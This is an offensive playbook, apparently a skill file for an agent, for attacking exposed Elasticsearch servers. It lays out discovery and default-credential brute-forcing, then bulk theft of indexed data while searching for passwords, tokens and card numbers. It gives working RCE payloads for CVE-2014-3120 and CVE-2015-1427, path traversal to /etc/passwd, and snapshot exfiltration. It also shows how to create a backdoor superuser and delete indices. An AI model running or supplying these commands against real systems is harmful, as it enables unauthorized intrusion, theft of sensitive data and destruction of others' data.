elasticsearch-attack

Elasticsearch unauthorized access and exploitation

Elasticsearch listens on port 9200 by default without authentication protection, and when exposed on the network it faces a large amount of sensitive data leakage and potential RCE risks.

⛔ In-depth reference (required reading)

• Full exploitation commands and payloads → read references/attack-techniques.md

---

Phase 1: Service discovery and version identification

1.1 Basic probing

# 直接请求根路径，返回集群名称和版本号
curl http://TARGET:9200/

Cluster health status

curl http://TARGET:9200/_cat/health?v curl http://TARGET:9200/_cluster/health?pretty

### 1.2 Nmap 扫描

```bash
# HTTP 服务识别
nmap -sV -p 9200,9300 TARGET

# 通用 HTTP 指纹脚本；ES 细节枚举优先使用后续 curl API
nmap -p 9200 --script http-title,http-headers TARGET

Key judgment：

• The returned JSON contains cluster_name / version.number → no authentication, proceed directly to Phase 3
• Returns 401 / 403 → authentication present, proceed to Phase 2
• version.number < 1.2 → MVEL RCE available (CVE-2014-3120)
• version.number 1.3.x - 1.4.x → Groovy sandbox escape RCE available (CVE-2015-1427)
• version.number >= 5.x → focus on Painless scripting and Ingest Pipeline

---

Phase 2: Unauthorized/authentication bypass detection

2.1 No-authentication confirmation

# 直接访问核心 API 端点
curl http://TARGET:9200/_cat/indices?v
curl http://TARGET:9200/_cluster/state?pretty
curl http://TARGET:9200/_nodes/stats?pretty

2.2 Default credentials and X-Pack

# 常见默认凭证: elastic:changeme, elastic:elastic, admin:admin
curl -u elastic:changeme http://TARGET:9200/
curl -u elastic:elastic http://TARGET:9200/
curl -u admin:admin http://TARGET:9200/

# 检查 X-Pack Security 是否启用
curl http://TARGET:9200/_xpack/security/user
curl http://TARGET:9200/_security/user

# 暴力破解
hydra -L users.txt -P passwords.txt TARGET http-get /_search

---

Phase 3: Attack decision tree

连接成功？
├─ ES < 1.2 → MVEL RCE (/_search + script filter, CVE-2014-3120)
├─ ES 1.3.x-1.4.x → Groovy 沙箱逃逸 RCE (CVE-2015-1427)
├─ ES < 1.4.3 + _plugin → 路径穿越读文件
├─ ES >= 6.x + 无认证 → 索引数据批量导出
│   ├─ _cat/indices 列出所有索引
│   ├─ _search + _scroll 批量导出
│   └─ 搜索敏感字段 (password, token, email, credit_card)
├─ 有快照仓库权限 → 快照数据窃取/恢复
├─ 有 Ingest Pipeline 权限 → Pipeline 注入（数据修改）
├─ 有动态脚本权限 → 脚本存储与执行
├─ Kibana 暴露 → Kibana 控制台利用
└─ 有集群管理权限 → 配置篡改 / 恶意用户创建

Upfront information gathering：

# 获取版本号（决定攻击路径）
curl -s http://TARGET:9200/ | grep number

# 列出所有索引（判断数据规模）
curl http://TARGET:9200/_cat/indices?v

# 获取集群设置
curl http://TARGET:9200/_cluster/settings?pretty

# 获取所有索引映射（了解数据结构）
curl http://TARGET:9200/_all/_mapping?pretty

---

Phase 4: Data theft quick reference

4.1 Index enumeration

# 列出所有索引
curl http://TARGET:9200/_cat/indices?v

# 列出所有别名
curl http://TARGET:9200/_aliases?pretty

# 获取索引映射（字段结构）
curl http://TARGET:9200/INDEX_NAME/_mapping?pretty

4.2 Data search and export

# 搜索所有数据（默认返回 10 条）
curl -X POST http://TARGET:9200/_search?pretty \
  -H 'Content-Type: application/json' -d '{
    "query": {"match_all": {}},
    "size": 1000
  }'

# 搜索敏感字段
curl -X POST http://TARGET:9200/_search?pretty \
  -H 'Content-Type: application/json' -d '{
    "query": {
      "multi_match": {
        "query": "password",
        "fields": ["*"]
      }
    }
  }'

4.3 Use the _scroll API for large amounts of data

# 初始化 scroll
curl -X POST http://TARGET:9200/INDEX_NAME/_search?scroll=5m \
  -H 'Content-Type: application/json' -d '{
    "query": {"match_all": {}},
    "size": 5000
  }'

# 持续获取（使用上一步返回的 _scroll_id）
curl -X POST http://TARGET:9200/_search/scroll \
  -H 'Content-Type: application/json' -d '{
    "scroll": "5m",
    "scroll_id": "SCROLL_ID_HERE"
  }'

→ read references/attack-techniques.md to get elasticdump bulk export commands

---

Phase 5: RCE quick reference

5.1 MVEL expression injection (ES < 1.2, CVE-2014-3120)

curl -X POST http://TARGET:9200/_search?pretty \
  -H 'Content-Type: application/json' -d '{
    "query": {
      "filtered": {
        "query": {"match_all": {}},
        "filter": {
          "script": {
            "script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getMethod(\"exec\",java.lang.Class.forName(\"java.lang.String\")).invoke(null,\"id\")"
          }
        }
      }
    }
  }'

5.2 Groovy sandbox escape (ES 1.3.x-1.4.x, CVE-2015-1427)

curl -X POST http://TARGET:9200/_search?pretty \
  -H 'Content-Type: application/json' -d '{
    "query": {
      "filtered": {
        "filter": {
          "script": {
            "script": "def proc = \"id\".execute(); proc.waitFor(); proc.text()"
          }
        }
      }
    }
  }'

5.3 Path traversal (ES < 1.4.3)

curl http://TARGET:9200/_plugin/head/../../../../../../etc/passwd
curl http://TARGET:9200/_plugin/head/../../../../../../etc/elasticsearch/elasticsearch.yml

→ read references/attack-techniques.md to get the full RCE payload

---

Phase 6: Other attack vectors

6.1 Snapshot repository abuse

# 注册快照仓库
curl -X PUT http://TARGET:9200/_snapshot/exfil_repo \
  -H 'Content-Type: application/json' -d '{
    "type": "fs",
    "settings": {"location": "/tmp/snapshots"}
  }'

# 创建快照
curl -X PUT http://TARGET:9200/_snapshot/exfil_repo/snap_1

# 恢复快照到攻击者可达路径
curl -X POST http://TARGET:9200/_snapshot/exfil_repo/snap_1/_restore

6.2 Ingest Pipeline injection

# 列出现有 Pipeline
curl http://TARGET:9200/_ingest/pipeline?pretty

# 创建恶意 Pipeline
curl -X PUT http://TARGET:9200/_ingest/pipeline/malicious \
  -H 'Content-Type: application/json' -d '{
    "description": "data interceptor",
    "processors": [
      {"set": {"field": "intercepted", "value": "true"}}
    ]
  }'

6.3 Cluster configuration tampering

# 创建后门用户（需 X-Pack 管理权限）
curl -X POST http://TARGET:9200/_xpack/security/user/attacker \
  -H 'Content-Type: application/json' -d '{
    "password": "password123",
    "roles": ["superuser"]
  }'

# 删除索引
curl -X DELETE http://TARGET:9200/INDEX_NAME

→ read references/attack-techniques.md to get full technical details

---

Tool quick reference

Tool	Purpose
curl	ES REST API interaction (the basis for all operations)
elasticsearch-head	Cluster management Web UI plugin
Kibana	ES data visualization and Dev Tools queries
elasticdump	Bulk export/import of index data
nmap	Port scanning, service identification, and general HTTP fingerprinting scripts
hydra	HTTP authentication brute force

---

Notes

• All ES operations are done through the REST API (HTTP), and all commands use curl
• _scroll The API is more efficient than _search for exporting large amounts of data, avoiding pulling all data at once
• Old version RCE: MVEL is effective on ES < 1.2, Groovy sandbox escape is effective on ES 1.3.x-1.4.x, and modern versions have removed them
• _search?size=10000 has an upper limit, and exceeding it requires using _scroll or search_after
• Deleting an index (DELETE /index) is irreversible, confirm the target before operating
• In production environments, avoid executing match_all full queries on large indexes; prefer exporting in batches